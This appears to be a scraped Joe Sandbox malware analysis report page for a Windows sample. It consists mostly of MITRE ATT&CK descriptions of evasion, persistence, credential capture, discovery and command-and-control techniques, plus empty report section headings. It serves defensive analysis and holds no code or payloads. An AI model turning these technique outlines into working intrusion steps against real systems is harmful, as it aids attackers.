Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report PPsa8TXVuy.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre